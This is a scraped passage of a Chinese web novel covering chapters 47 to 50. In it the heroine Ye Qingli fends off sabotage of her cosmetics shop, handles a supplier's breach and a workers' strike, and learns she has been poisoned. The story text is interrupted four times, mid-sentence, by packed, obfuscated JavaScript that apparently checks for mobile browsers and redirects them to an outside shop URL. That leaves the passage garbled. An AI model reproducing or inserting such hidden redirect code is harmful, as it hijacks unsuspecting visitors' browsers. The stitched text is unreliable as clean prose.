l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104805|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 售出七十八份,没有一份是厉三娘所买!” “什么?你白用人家的东西,还好意思讹人?!真是丧良心!” “就是呀!还好我一直相信霓裳阁是清白的!” “我也觉得霓裳阁的东西是真的好用,虽然贵了些,可是贵有贵的好啊!” “可恶!刚才怎么没人拦着我,我刚买的新品,就这么没了!呜呜呜!” “怎么就能确定不是霓裳阁的问题,说不定那几个大夫也被她收买了呢?” “你这人脑子有病吧,总是说霓裳阁的不好。那回春堂,济世堂还有悬壶堂,那几位老大夫连宫里的太医都要叫声师傅,用得着你来质疑?!” “就是,这种人就是看不得别人好!” 事实摆在眼前,霓裳阁的东西并无不妥。 倒是厉三娘明知自己桃花过敏,还故意用了霓裳阁含有桃花的胭脂,借机讹诈,被马娘子送到官府,那个为她作证的大夫也被带走。 一场风波就此结束,叶青漓看着人群渐渐散去,霓裳阁涌进更多客人,脸上终于有了满意之色。 不过她并未就此离开霓裳阁,而是坐在二楼,静等着阿桥回来。 霓裳阁两条街外的一个小巷内,一个獐头鼠目的男人急匆匆赶路,不时紧张地向身后望去,下一刻,一只布鞋伸了出来,将他绊倒。 “哎呦!谁啊?谁这么走路不长眼?” 阿桥便在这时跑进小巷内,“跑啊,你怎么不跑了?” “这位公子,这位爷,你追我干嘛?我什么都没干啊!” “哼!你做了什么你自己知道,还是回去跟我们家小姐说去吧!” * 顾国公府,覃竹园。 “……事情就是这样了。” 竹页一口气讲完霓裳阁今日发生的全部经过,大喘一口气,道:“奴才一开始也以为大少奶奶要输了,没想到她早有准备,把京城有些本事的大夫全都请来,还找来那骗子的邻居作证。不仅当众澄清了谣言,还给霓裳阁做了波宣传。” “那几个骗子被送官后,霓裳阁更是多了好多客人!” 顾承宴听罢,一直紧蹙的眉心终于松开,嘴角噙着一抹浅笑,眸中满是赞赏。 “她从来都是聪慧的!” “这下大公子总算不担心了吧?” “我什么时候担心过她,以后这种小事不用告诉我!” 竹页早就看透他的心思,从身后拿出一副茶饼。 “哎,也不知道是谁明明不爱喝茶,却派我大老远去城西买这茶饼,还嘱咐我看见可疑的人多留个心眼!” “要不是我机灵,一脚绊倒了躲在人堆里煽动情绪的家伙,大少奶奶的人恐怕现在还在追着呢!” “她只是有顾家大少奶奶的名分,与我没有任何关系,以后别人的事,不要乱插手!” “可是……” “出去!” 竹页被赶出书房,摸了摸鼻子。 “还说不是担心她,听了那么久的消息,却没问一句茶饼,还不是醉翁之意不在酒吗?” 他看着手里的茶饼,重重叹了口气。 “大公子好像还在生大少奶奶的气?可是大少奶奶好像根本不知道这回事!那我要不要告诉大少奶奶?” 48. 三重打击 “小姐!” 霓裳阁 叶青漓从阿桥带回来的人口中得知,是郑氏派人收买,叫他浑水摸鱼,毁坏霓裳阁的名声。 厉三娘那边也交代了自己是收了旁人的银钱,才会讹诈霓裳阁。她并不认识那人是谁,只知道是大户人家出来的人。 叶青漓几乎是在得到这消息的一瞬间就锁定了辛氏。 昨日自己回府时,两人幸灾乐祸的表情历历在目。 采莲听完她的猜测,十分气愤,“三少奶奶和四少奶奶怎么能这样?小姐好好做自己的生意,她们为何要陷害小姐?” 叶青漓倒没有采莲这么激动,上一世她开始做生意时,这样的事情不知经历了多少次,有次甚至严重到当时能够享受其中利益的沈仕楣主动开口关停铺子。 是叶青漓坚持经营,凭自己的心机和谋段,一次又一次解决危机,才有了后来的成就。 也是因此,叶青漓早就积累了应对此类事件的经验。 此次霓裳阁被围两天,虽然没有太大的损失,却实实在在少了两百多两的进益。 这是叶青漓最不能忍受的事情! “采莲,你回去查一查,三弟妹和四弟妹名下有什么铺子?” 采莲忽地精神起来,“小姐也要找人去讹诈她们吗?我一定好好找人,绝不拖小姐后腿!” 叶青漓嗤笑一声,“讹诈她们做什么?” “我们可是遵纪守法的良民,自然不能做那种下三滥的事情。” 采莲懵了,“那我们该做什么?” 叶青漓看着她,一字一句道:“身为她们的好大嫂,我自然有责任督促她们缴税,完成每个南朝百姓都该尽到的义务。” “她们都是出身大族,我相信两位弟妹不会这么目光短浅,为了一点银子就触犯律法的。” 采莲眼前一亮,坏笑起来,“小姐,还是你有办法!” 事实证明,叶青漓前世积累的经验十分有用。 辛氏和郑氏虽然都是出身大家,嫁妆丰厚,可是大宅院里用钱的地方总比挣钱的地方多,有些银子她们自然能省就省了。 两人因为漏交税款的事被官府的人找上门,幸有顾国公出面帮她们摆平了官府的人。 可是该缴的税银还是逃不掉,两人不仅赔了银子,名下的商铺还被查封好几日,因为此事被顾三顾四埋怨好多天,可谓是丢了夫人又折兵。 两人为此事忙得焦头烂额,不知是不是叶青漓的错觉,偶尔还能看见两人眼中互生埋怨,叫她心情舒畅好几天。 * 霓裳阁生意越做越好,叶蕙珠的肚子也越来越大。 月份大起来,她整个人都有些浮肿,虽然依旧花容月貌,总不及往日年轻动人,叫她烦心不已。 为了掩饰身上的这小小不美,她近乎疯狂得寻找掩饰的方法,终于在决定喝下某种汤药之前,听说了霓裳阁的大名。 “掌柜的,把你们店最好的东西都给我拿过来!” 马娘子凭借自己多年做生意的本能,看见叶蕙珠的第一眼就知道这一定是个大客户,脸上挂着热情的微笑迎了上去。 “我们店里除了最新出品的胭脂,还有美白肌肤的珍珠粉,滋润养颜的面膏,以及颜色多样的口脂。” “这位娘子,想要点什么?” 叶蕙珠也是很久没有逛过街了,满意地看了眼识趣的马娘子后,道:“那就都拿上来,若是我用得好,便都买了!” “是,娘子稍等!” 马娘子将霓裳阁的东西一一拿上来,叶蕙珠仅是看了一眼就喜欢上了。 等马娘子为她试用,尤其是用特殊手法掩饰了脸上的浮肿,还原她的美貌后,更是瞬间爱得不行! 叶蕙珠看着镜子里容色倾城的美人,语气颇为豪爽,“这些东西我都要了!” “是。”马娘子也对自己的这次推销十分满意,“这些一共一百三十六两,娘子请拿好。” “一百三十六两?!” 叶蕙珠有些惊讶! 她做姑娘这么多年,胭脂水粉买了无数,还是第一次遇到这么贵的店!自己如今一个人养着一大家,花一百多两就为买些胭脂水粉,实在不划算。 可,她看了看镜子里的美人,自从怀孕之后,她有好几个月没看见这么美丽的一张脸了! “怎么这么贵?” 马娘子有些意外,瞧叶蕙珠的架势,不像是缺钱的主。 不过做生意这么些年,她早学会掩饰自己的真实情绪。 “我们霓裳阁的东西都是用秘密配方调制而成,是花高价精心培育后的真材实料,不仅颜色艳丽,持妆时间久,同时还有美容养颜,嫩肤美白的功效。” “效果好,自然价格高!” 她看着叶蕙珠纠结的样子,微笑着道:“娘子若是觉得不划算,也可以先购买我们店的会员,会员价格每样打八折,如何?” “会员?” 熟悉的会员制叫叶蕙珠忽然想起什么,她环顾四周看了看铺子,又定睛看了看马娘子,皱眉问道:“这是叶青漓的店?” “娘子怎么会知道我们东家的名字?” “竟真是叶青漓的店?!” “我才不买叶青漓的东西!哼!” 叶蕙珠瞬间变了脸,丢下东西便离开霓裳阁。 马娘子看着她离去的背影,觉得莫名其妙。 “买不起就说买不起,提我们东家做什么?” * 叶青漓并不知道霓裳阁发生的这件小插曲。 如今两间铺子生意走上正轨,她每日数钱数到手抽筋,嘴上的笑怎么也藏不住,整个人都瞧着精神许多。 俗话说,饱暖思□□! 钱袋子鼓起来,叶青漓也终于想起来自己还有个美人夫君。 虽然不能吃也不能碰,但是多看两下养养眼也是好的。 只是她没想到,时隔几个月,自己再次踏足覃竹园,竟然遭到竹页的拒绝? “公子有事,不许任何人打扰。” “竹页,你看着我。” 叶青漓故作严肃,沉着一张脸,“你是不是不认识我了?” 竹页听话得抬起眼,又忙低下头,“奴才怎么会不认识大少奶奶呢?” “既然认识,怎么还拦着我?夫君不是说过,以后我可以随意进出覃竹园吗?” “这……” 竹页很想告诉叶青漓,现在的顾承宴已经不是昨日的顾承宴了。 看了眼紧闭的房门,他最终还是什么都没有说。 “大公子有事,不许任何人打扰,大少奶奶,也是一样。” 叶青漓:“?” “那好吧,那等他没事的时候我再来。” 说着,叶青漓脚步利索地出了院子。 竹页看得目瞪口呆。 好歹再多说两句,关心关心大公子啊,这不是让人更生气嘛! 叶青漓前脚刚走,后脚书房的门就开了,顾承宴冷着一张脸,看向竹页。 “公子,大少奶奶已经走了。” “嗯。” 顾承宴脸色冰冷,周身的气氛亦然。 竹页被冻得打了个寒颤,正要问些什么,院落一角传来女子活泼灵动的声音。 “夫君这是忙完了?我可以进来了吗?” 顾承宴眉心一颤,眸中冰山在看见站在竹丛后笑意嫣然的叶青漓时寸寸消融。 “夫君刚才在忙什么?”进了屋子后,叶青漓随意问起。 “没什么,打发时间罢了。” “哦。” 见叶青漓没再多问,顾承宴眸底的寒霜又有蔓延趋势。 叶青漓目光全程盯着自己手里的东西,“方才我走得急,忘了把这东西交给竹页,正好夫君现在有空,不如换上看看吧?” 顾承宴闻声看去,又是一块黑布盖着。 “是衣服?” “嗯!” 叶青漓笑道:“上次想着夫君以后会在观中久居, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114701|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便只做了一件道袍。如今夫君已然回府,自然不能再穿道袍或是往年的旧衣。” 顾承宴看着那衣服,静默良久,就在叶青漓以为他不喜欢,准备收回去时,他伸手接过去。 当着叶青漓的面换上了。 “如何?” 叶青漓眼前一亮! 她果然没有选错! 顾承宴惯常穿的是青绿色道袍,或是青色常服,虽说仙风道骨的样子很是养眼,可是看得多了,也有些腻了。 这次叶青漓给他挑的是一件宝蓝色的长衫,穿在顾承宴那张宛若谪仙的脸上,更添了几分矜贵优雅。 叶青漓美美欣赏着,忽然皱起眉来,“怎么觉得好像少了点什么?” 顾承宴低头自顾,“少了什么?” 倏然间,他觉得头上一轻,而后有什么东西伴随一股熟悉的香气插进他的发间。 “好了!这样就更完美了!” 叶青漓拍拍手,满意得看着自己的作品! 没错,经过她的深思熟虑后,叶青漓决定,不把顾承宴当做自己的夫君,把他当成自己的暖暖好朋友就好了。 吃不着碰不了也没关系,奇迹暖暖也是很好玩的! 这可是一个活生生水灵灵一米九的好模特! 她昨日一整天都在逛街给他挑发簪,终于选到这一款合适的祥云图案。一想到自己赚了那么多钱能给顾承宴一天换一个打扮,她就激动得睡不着觉! 白玉的材质和顾承宴的人一样温润,祥云的图案更合他清贵如仙的气质,上面的洒金则是点睛之笔,与他身上的宝蓝色长衫相称,富贵无极! 当真是一个好生俊俏的贵公子! 叶青漓在欣赏顾承宴的美貌时,顾承宴也在悄悄看着她。 女子笑容明媚,目光清澈,眼眸流光溢彩,里面包含很多情绪,有惊艳、赞赏、得意、骄傲,唯独——没有喜欢! 顾承宴眸子忽地暗了一瞬,再抬起眼时,恢复了往日的古井无波。 “怎么想起来送我衣服了?” 叶青漓笑道:“因为我赚钱了呀!” “多亏你上次跟我说舅母喜欢胭脂,我才想到借舅母的手宣传霓裳阁,不然霓裳阁哪里会有这么好的成绩?” “所以,你也给舅母送衣服了?” “没有。” “哦……” “只送件衣服怎么能表示我对舅母的心意呢?我给舅母送的是我新调制的面膜,是保养肌肤的东西,舅母用了一定会喜欢的!” “哦。” 叶青漓谈到霓裳阁说个不停,丝毫没有注意到顾承宴那一暗再暗的眸光。 就在叶青漓说得高兴之时,采莲忽然闯进覃竹园,神色慌张不已。 “小姐,不好了!霓裳阁又出事了!” “怎么了?” “马娘子说百花园的主人忽然毁约,不肯供货,可是距离咱们下一次预售货品交货只剩五天了!” “他为什么毁约?” “奴婢不知道!” 叶青漓收了笑,“走,跟我出城去百花园!” “哎,小姐等等,还有!”采莲拉住一脸怒色的叶青漓,“马娘子还说霓裳阁制作胭脂的工人想要涨工钱,如今正闹着罢工!” “罢工?在这种时候?” “是呀!”采莲点点头,忽又想起什么,“还有!” 叶青漓这下彻底冷了脸,“还有什么?” “还有这两件事不知被谁走漏了风声,如今有好多客人听说霓裳阁交不出预售货品,在门口闹着要三倍赔偿呢!” “什么?!” 叶青漓这一个月来日日数着银子,最是清楚霓裳阁预售赚了多少钱,若是三倍赔出去,又会是怎样一串数字? 她一想到可能要赔那么多银子,就心痛如搅,呼吸困难,脸色惨白。 下一刻,两眼一翻,水灵灵地昏过去了! “小姐!” “青漓!!!” 49. 中毒 叶青漓的身子忽然往下倒,吓得两人同时惊呼出声,顾承宴眼疾手快及时扶住她,才没让她倒在地上。 “小姐!” 采莲看着靠在顾承宴怀里的叶青漓,她第一次看见叶青漓这副样子,急得险些哭出来。 “小姐你别吓我!” 顾承宴亦眉头紧锁,他不是第一次抱着她,却第一次惊觉她的身子如此单薄。 “竹页,快去叫大夫!” “哦,好!” 竹页也被这突然的一幕惊呆,反应了片刻,才抬腿往外跑。 顾承宴将叶青漓抱进屋内,将她放在榻上,两人一连叫了好几声,叶青漓才从昏迷中悠悠转醒。 “嗯?我这是怎么了?” “小姐,你吓死我了!” 采莲见到叶青漓醒过来,瞬间绷不住了,“我还以为小姐出事了!呜呜呜!” 叶青漓看着哭得停不下来的采莲,又看了眼眉头紧锁的顾承宴,想起自己昏倒前的场景,瞬间了然。 她抬手拍着采莲的背,柔声安慰道:“好了好了,我没事了。” “你瞧,我现在不是好着呢吗?” 叶青漓说着从榻上起身,在两人面前原地跳了几下。 采莲被她这番动作看蒙了,眼角的泪水一时不知是该流还是该收。 顾承宴依旧十分担忧地看着她,“你方才的情况太吓人,我已经让竹页去叫大夫了,还是让大夫瞧瞧更好!” “不必不必!” 叶青漓连忙摆手,挤出一抹笑,“我就是早膳用得太少,低血……气血虚加上一时情绪激动才晕倒,以后多多注意就是。” 她才不要喝药,尤其是中药,又苦又难喝! “还是让大夫看一看放心些,你……” “哎!采莲,你刚才不是说百花园违约了?那我们还等什么,快去收他违约金!” “走!” 叶青漓给采莲使了个眼色,不等顾承宴把话说完两人就跑出去了。 等竹页带着大夫回来的时候,屋内只剩下顾承宴一个人还在原地站着。 “公子,大少奶奶呢?” “走了。” “啊?那大夫还看不看了? “不用了。” “可是大少奶奶刚才忽然昏倒真的很吓人!公子怎么不留一留她?” 顾承宴垂眸看着身上的长衫,声音如风一般轻。 “留不住……” * 叶青漓出了顾国公府后,先去霓裳阁了解情况。 马娘子看见叶青漓到来,又是愧疚得眼含泪水。 “都是我不好,东家把铺子交给我,我却总是辜负东家的期待。早知如此,当初我就应该主动请辞,让东家找一个比我靠谱的人过来,现在就不会……” “马见真!” “在!” “霓裳阁遇到这种事,你身为掌柜,最应该做的不是向我道歉,而是立刻想办法应对。”叶青漓鲜少严肃起来,马娘子立刻收起眼泪。 叶青漓又继续道:“即便想不出办法也要努力维持镇定,尽量将损失降低到最小,才是上上之策,明白吗?” 叶青漓年纪明明比马娘子小许多,可是真到了这个时候,马娘子却觉得叶青漓仿佛天塌下来也不会皱一丝眉,心中蓦然觉得坚定许多! “是,我明白。” “那你现在跟我说说,百花园为何突然毁约?有多少工人要罢工?还有,外面的客人为什么忽然知道这两件事?” 马娘子略整理了思绪,连忙道:“百花园是三天前断货的,我派人去问,那里的人一直不给回应.直到今日我亲自去见了百花园主人,他才放话以后不会再给霓裳阁供货,叫我以后自求多福。” “咱们铺子里的工人是昨日晚间提出要提高工钱,我当时并未一口回绝,只说要向您通禀一声。明明她们昨日还答应得好好的,今日却突然闹起来,说不涨工钱她们就要离开霓裳阁!”马娘子显然是被这些工人气到,说起此事脸上带着愠怒。 “至于那些客人……我也觉得奇怪,我从百花园回来,再到工人提出罢工,前后不到一个时辰的时间。那些客人却像是早知道消息一样,忽然间涌进霓裳阁说要看货。还说我若拿不出五日后的预售货品,便要按照当初约定好的三倍赔付!” 马娘子细细说罢,自己也意识到不对劲。 “东家,这太巧了!所有的事情都赶到一处,好像有人故意针对咱们似的!” “那你觉得是谁在针对霓裳阁?” “我,我不知道。” 马娘子再次愧疚得低下头,“自东家上次请了京城的八位大夫为霓裳阁正名起,铺子的生意一直很好,来往的客人也不见有对咱们铺子不满的,我实在不知,到底是何人要如此针对?” 叶青漓食指在桌上轻点,缓缓开口,“既然不是为着霓裳阁而来,想必就是冲着我了!” 她脑海中一瞬间闪过许多人的影子,赵氏、辛氏、郑氏、于氏,甚至是从一开始就对她态度友好的申氏,可却拿不定主意到底是谁这么费尽心思害她? “也罢,这种事情一时半刻也查不出什么。” “你先下去安抚工人,告诉她们,霓裳阁每月分红的十分之一可以拿出来,按比例分配到她们的工钱里。若是能接受就留下,不能接受,请自便。” “东家!” 马娘子大惊失色! “难道真的就这样让工人们都走了?五日后可就要交货了,她们全走了,那货怎么办?” 叶青漓一脸淡定,“货的问题我来解决,哪怕这一次预售失败,我要倒赔银子,也绝不会允许有人以此要挟我!” 斩钉截铁的样子瞬间让马娘子不敢再劝。 “是。” “再告诉那些来闹事的客人,只要她手里的购买记录和我们店里的能对上,五日后只需按时过来拿货,若是霓裳阁交不出,我自会三倍赔付!” “是。” “采莲。” “小姐。” “随我去百花园。” “是。” 叶青漓有条不紊交代完马娘子,带着采莲去了百花园。 百花园的主人还和上次一样笑得温和,看见叶青漓气势汹汹过来,不仅不怕,反而设了暖座招待她, “夫人请坐!” “你知道我要来?” 莫掌柜笑得风轻云淡,“鄙人失信,夫人自然要来问罪!” “你知道是失信,为何还要毁约?”叶青漓咬了咬牙尖,提醒他,“莫掌柜当初和我签订的契约里,违约金可不低!” 闻言对面的人却笑得一脸平和,眼中连一丝心疼都没有。 “莫某出身不显,侥幸得了些花种,学了点种花的手段,才在京城有了这番成就。我是个商人,最看重的自然是银子。虽然我与夫人的合作很是愉快,但是谁能跟钱过不去呀?” “您说,是吗?” “这么说,莫掌柜是有了更好的赚钱路子?” 莫掌柜淡笑不语,端起面前的茶细细品味起来。 他这般作态,叶青漓也不气了,学着他的样子,端起一旁的茶喝起来。 “嗯,今年新出的西湖龙井,莫掌柜这里好东西不少!” “是在下班门弄斧,夫人出身国公府,什么样的好东西没见过?让夫人见笑了!” “哪里?”叶青漓也谦虚起来,“我对这些只懂些皮毛,哪里比得上莫掌柜专于此道。” 两人你来我往的客套着,一杯茶很快饮尽。 叶青漓看着百花园花团锦簇的美景,悠悠叹了一句,“落红不是无情物,化作春泥更护花。这些花不能为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128636|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我所用,变作春泥实在可惜!” 莫掌柜则再次淡淡笑起来,“有花堪折直须折,莫待无花空折枝。夫人不必担心!” 叶青漓挑眉,“莫掌柜说得对,茶也喝完了,违约金呢?” 莫掌柜早有准备,一抬手,便有下人送上一沓厚厚的银票。 “告辞!” “不送!” 叶青漓一上马车,笑意瞬间全消,脸色甚至比来时更加难看。 “小姐,怎么了?难道是违约金数目不对?” 叶青漓直接将银票丢到采莲怀里让她数,自己则难受地揉着眉心。 不知是低血糖的影响还没过去,还是刚才那龙井茶的味道太过苦涩,她现在觉得脑袋昏昏沉沉,还有点疼! 采莲确认过数目无误后,才发现叶青漓脸色难看,忍不住道:“小姐要不先回去休息吧!还有五日呢!” “不行!时间紧迫,有些事必须尽早解决!回霓裳阁,去看看马娘子事情都办得怎么样了?” 车夫再次驾车来到霓裳阁。 停车之后,叶青漓脑袋一阵阵发晕,她闭着眼睛靠在车壁上,待不舒服的感觉过去,睁眼发现霓裳阁对面的茶楼大门紧闭。 “这家茶楼今日怎么关门了?” 采莲闻声望去,茫然地摇摇头,“不知道,要不要我去问问?” “算了,与我们无关。你回霓裳阁看看还剩下多少工人,若是数目还够一整个制作流程的,就告诉马娘子,高价请她们赶工完成这次预售,若是不够便先回来。” “是。” 采莲很快去而复返,上马车之后,一张脸拉得老长。 叶青漓不等她开口就知道结果,无力地闭上眼睛,忽然觉得脑袋更疼了! 采莲看着她难受的样子,坐在一旁气得直掉眼泪。 “这群见利忘义的小人!明知道霓裳阁这时候最需要她们,还闹着罢工!无耻!” 叶青漓摆摆手,“人往高处走,很合理!” 虽然叶青漓如此说,可她心里也是失望的。 不论是上一世还是这一世,她做东家时,对手下人从来没有亏待过。可是一遇上大事,总是有人为了一己私利毁了她的心血。 纵使叶青漓有千百种方法东山再起,遭人背叛的感觉总是不好受的! * 回到国公府后,顾承宴直接带着大夫找来蔚莲阁。 叶青漓抗拒得连连后退,“不用了!真的不用了!” “我就是肚子空才头晕,一会吃点东西就好了!” 顾承宴面无表情,语气却十分强硬,“你先吃东西,再让大夫看病。” “哎呀,真的不用!我手头还有许多事情要处理,没有时间看病喝药……” “是霓裳阁的事吗?”顾承宴忽然开口,“我已经让竹页联系了京城之外的一家花圃园,你想要的东西他那里也有。” “现在,可以让大夫看病了吗?” 叶青漓突然愣在原地,有些诧异地看着他,“你,联系花圃园?为了帮我?” 顾承宴微微皱起眉头,回避了叶青漓的问题。 “先看病!” 叶青漓却忽然笑了,笑得很开心! 上一世她经商失败时,沈仕楣只会马后炮抱怨自己,顾承宴却能在自己不知道的时候帮她想好办法。 果然是人美心善! “谢谢你!” 叶青漓微笑看着他,眼里亮晶晶的,晃得顾承宴不敢细看,侧头躲避。 怎料下一刻,余光闪现一抹红色。 “噗——!” “小姐!!!” 顾承宴身体比意识先行一步接住忽然吐血的叶青漓,一旁候着的大夫见状,忙跑进来搭住叶青漓的脉。 片刻之后,他沉声开口,“大少奶奶这是中毒了!” 50. 解毒 “中毒?!” “怎么会呢?我日日和小姐在一起,从来没见她吃过什么不该吃的东西!” 采莲听见‘毒’这个字慌得不行,加上叶青漓刚刚吐出的那口血,让她脑子瞬间乱成一团麻。 顾承宴亦是从未想过叶青漓会中毒,他看着怀中虚弱不已的女子,眸中尽是冷意。 “可能解毒?” “这,夫人脉象奇特,老夫只能估摸出是中毒,却不知该如何解?” 察觉到顾承宴周身气势一瞬间大变,大夫忙又道。 “老夫虽不得解,却能看出这是一种慢性毒药,夫人中毒不深,暂时没有性命之忧。只是今日情绪几番剧烈波动,才牵动了暗藏在身体里的毒素。只要接下来好生休息,不要劳心劳力,应该可以再撑一段时间。” “老夫可以开一副固本培元的方子,帮夫人暂时稳住身体,几位再另请高明,为她解毒,如何?” 听到没有性命之忧,顾承宴眼底的担忧却丝毫未减。 “可以保她多久?” “这……” 大夫为难地看了顾承宴一眼,“老夫实在医术不精,若夫人之后不再中毒,一副药下去可保她一年。” “一年……” “你是说我只有一年可活了?” 顾承宴垂眸,女子一惯红润白皙的脸庞惨白不已,娇艳欲滴的红唇也白得吓人,只有嘴角那一抹血迹红得刺眼! “你中了毒,先别说话。” 叶青漓摇摇头,在顾承宴怀里挣扎着站了起来。 “我没事,刚才那口血吐出来以后感觉好多了!” 她就说她不是身子那么虚弱的人,低血糖的症状也很久没有出现过,没想到自己竟是被下毒了! 一瞬间,叶青漓脑海中再次闪现许多人的脸。 不同于霓裳阁被针对,这一次有人明显是冲着她的命来的! “大夫,我还能活多久?” 大夫瞪大眼睛看着她自己站起来,愣了片刻,道:“这,老夫医术不精,实在无法推断,几位还是另请高明吧!” 顾承宴并未再说什么,看了眼竹页让他把大夫送走了。 “你先好好休息,中毒一事不必担心,我会帮你找到能解毒的大夫的!” 叶青漓点头,忽又摇摇头,“不行,霓裳阁的事情还没解决!我……” “霓裳阁的事我来帮你办!” 顾承宴应声打断了叶青漓,“不论是供货商,还是工人,我都会妥善处理,你放心休养!” 他语气虽有些强硬,可话里话外都是在关心叶青漓,叶青漓十分受用,不过还是笑着道:“多谢你,不过不必了。” “你……” “霓裳阁的事情我已经有解决办法了!你不必为我操心!” “小姐,你什么时候有办法了?我怎么不知道?而且,你刚才不是还着急得吐血了吗?” 叶青漓僵笑着看了眼采莲,“我吐血是因为中毒了!而且我那不是因为霓裳阁的事着急,而是……” “而是什么?” 而是感受到顾承宴对她的好,心里感动才吐血的! 不过这句话说出来有点太矫情,叶青漓对着采莲道:“没什么。” “接下来几天我或许要留在府中养身体,霓裳阁的事就交给你来办了。接下来的我说的事你要听好了!” “霓裳阁虽然和百花园签订了供货契约,但那只是一时的,实际上早在大雪还未消融的时候我就有自己种花供霓裳阁做胭脂的想法了。如今已经五月,城外的庄子里应该已经积累了不少花,你明日记得去城外取回来,交到霓裳阁即可。” “至于那些工人,想走的就让她们走吧,霓裳阁再次生意兴隆靠的是我手中的秘密配方,不是她们几人的手艺,只要配方还在,我随时可以再找几个工人组建一个霓裳阁!你明日就去城外找些手脚麻利,人又勤快,最好是能与霓裳阁签卖身契的妇人回来。五日时间应该够赶工了!” “唔,暂时就这么多!” 叶青漓一口气说了太多,嗓子都干了,忙端起一旁壶里的水一饮而尽。 顾承宴察觉到她的动作,伸手在壶身上探了探,感觉到温度后,眉心微蹙。 采莲听完叶青漓的话,足足发呆了一盏茶的功夫,好不容易将事情的来龙去脉理清后,更是崇拜地看着叶青漓。 “小姐,你怎么这么聪明,竟然什么都料到了?那这么说,咱们霓裳阁不仅什么都没亏,还赚回违约金,顺便看清了那些人的丑恶嘴脸!” 叶青漓满意地接受她的膜拜,唇角弯弯。 事实上,今日霓裳阁的事情,早在上一世不知发生了多少次,叶青漓也是经历过许多次血泪教训后,才有了现在的万全准备。 上一世,她在原书剧情的限制下,在沈仕楣的打压中,尚且将生意做遍南朝。 这一世她能够大施拳脚,自然不把这些放在眼里!她之所以生气,也不过是因为有人对她的铺子动了歪脑筋! 现在唯一让她放在眼里的,只有她身上这莫名其妙的毒了…… * 采莲照着叶青漓的吩咐,为霓裳阁送来原料和工人,短短五日时间,便将预售所需货品全部完成。 五日后,采莲按照叶青漓的吩咐打开霓裳阁大门,本以为自己会被挤在门口的客人们推搡,怎料,霓裳阁大门打开的同时,对面的茶楼也开门了。 不! 不是茶楼,如今该叫馥春斋了! 对面的茶楼不知何时换上新的招牌,二楼伸出个竹竿,挂着长长的鞭炮。 采莲刚要开口请客人入内,那边鞭炮便响起来。 噼里啪啦,嘭嘭啪啪吵个不停,采莲说的话,外面的客人是一句也听不见。 她不耐烦地捂起耳朵,想等着对面消停了再请客人进门,怎料带着火药味道的硝烟消散后,馥春斋内竟走出一个让她意想不到的人…… * 五天! 整整五天! 这五天是叶青漓重生后过得最难过的五天,也是最快乐的五天! 考虑到自己中毒,她最爱喝的凉白开,因为健康问题被换成热水。 顾承宴还命蔚莲阁内所有的丫鬟进入戒备状态,叶青漓有时轻轻咳嗽几声,都会引来好几人的关注。 最最让她受不了的是,顾承宴明明已经让竹页把那个大夫送走了,为什么自己还要每天喝一大碗固本培元(苦得要命)的药?! 叶青漓想吐槽,想拒绝。 可是每日睡醒一睁眼,看见那张好看的脸后,心里的那点不满瞬间消失。 “睡醒了?可曾觉得哪里不舒服?” 叶青漓拥着被子缓缓坐起,看着坐在床边满脸关切的顾承宴,轻轻摇了摇头。 “没有,我觉得身体很好。” “那就好。”顾承宴点头,抬手从旁边端来一个海碗,“来,先把药喝了!” 叶青漓下意识屏息,她实在是不想闻到这药的苦涩味道了。 她皱着一张笑脸,巴巴地看着顾承宴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137119|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“我能不能不喝了?我这几天觉得自己身体很棒!吃嘛嘛香!” “不行!” 顾承宴语气温柔,说出来的话却像刀子一样重重插在叶青漓心上。 “你觉得身体好了,正是这药的功效,竹页还在为你找大夫,那毒不知何时又会复发,还是谨慎为上!” 他说着,将药碗朝叶青漓推近了些。 叶青漓死死盯着那碗药,忽然说道:“今日就是霓裳阁预售交货的日子,也不知采莲那里怎么样了?这药烫嘴,不如先放一放,等采莲回来跟我说了霓裳阁的情况再喝?” “霓裳阁我有安排人手,你不必担心。昨日是下人太粗心,我已经处置过她,今日这药我特地放凉不烫了,快喝吧。” 叶青漓久久未动,顾承宴拿起汤匙舀了一勺,送到叶青漓嘴边,“要不要我喂你?” “别!” 那样更苦! 叶青漓主动将药碗接过来,一副视死如归的表情送到嘴边。 碗沿刚碰到唇瓣,她便被浓烈的苦味冲击到皱眉,下意识把药撤开。 “怎么不喝?” 顾承宴一再逼迫,叶青漓实在无力招架,只好使出最后一招! 